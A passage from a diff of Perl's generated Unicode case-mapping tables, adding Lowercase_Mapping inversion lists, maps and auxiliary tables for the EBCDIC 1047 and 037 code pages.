+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F08,
+	0x1F10,
+	0x1F18,
+	0x1F1E,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F88,
+	0x1F90,
+	0x1F98,
+	0x1FA0,
+	0x1FA8,
+	0x1FB0,
+	0x1FB8,
+	0x1FBA,
+	0x1FBC,
+	0x1FBD,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD8,
+	0x1FDA,
+	0x1FDC,
+	0x1FE8,
+	0x1FEA,
+	0x1FEC,
+	0x1FED,
+	0x1FF8,
+	0x1FFA,
+	0x1FFC,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212B,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x2160,
+	0x2170,
+	0x2183,
+	0x2184,
+	0x24B6,
+	0x24D0,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
+	0x2C61,
+	0x2C62,
+	0x2C63,
+	0x2C64,
+	0x2C65,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C6E,
+	0x2C6F,
+	0x2C70,
+	0x2C71,
+	0x2C72,
+	0x2C73,
+	0x2C75,
+	0x2C76,
+	0x2C7E,
+	0x2C80,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77E,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AB,
+	0xA7AC,
+	0xA7AD,
+	0xA7AE,
+	0xA7AF,
+	0xA7B0,
+	0xA7B1,
+	0xA7B2,
+	0xA7B3,
+	0xA7B4,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	LC_0 = 0,
+	LC_use_AUX_TABLE_1 = -1
+} LC_enum;
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_LC_AUX_TABLES
+
+static const unsigned int LC_AUX_TABLE_1[] = {
+	0x89,
+	0x307
+};
+
+static const unsigned int * const LC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	LC_AUX_TABLE_1
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 LC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* LC_AUX_TABLE_1 */
+};
+
+static const int Lowercase_Mapping_invmap[] = { /* for EBCDIC 1047 */
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x8C,
+	0,
+	0x8E,
+	0,
+	0x8D,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	LC_use_AUX_TABLE_1,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3B8,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0x59,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
 	0x1F51,
-	0x1F52,
+	0,
 	0x1F53,
-	0x1F54,
+	0,
 	0x1F55,
-	0x1F56,
+	0,
 	0x1F57,
+	0,
+	0x1F60,
+	0,
 	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
 	0x1FB0,
-	0x1FB2,
-	0x1FB5,
-	0x1FB6,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Lowercase_Mapping_invlist[] = { /* for EBCDIC 037 */
+	1251,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
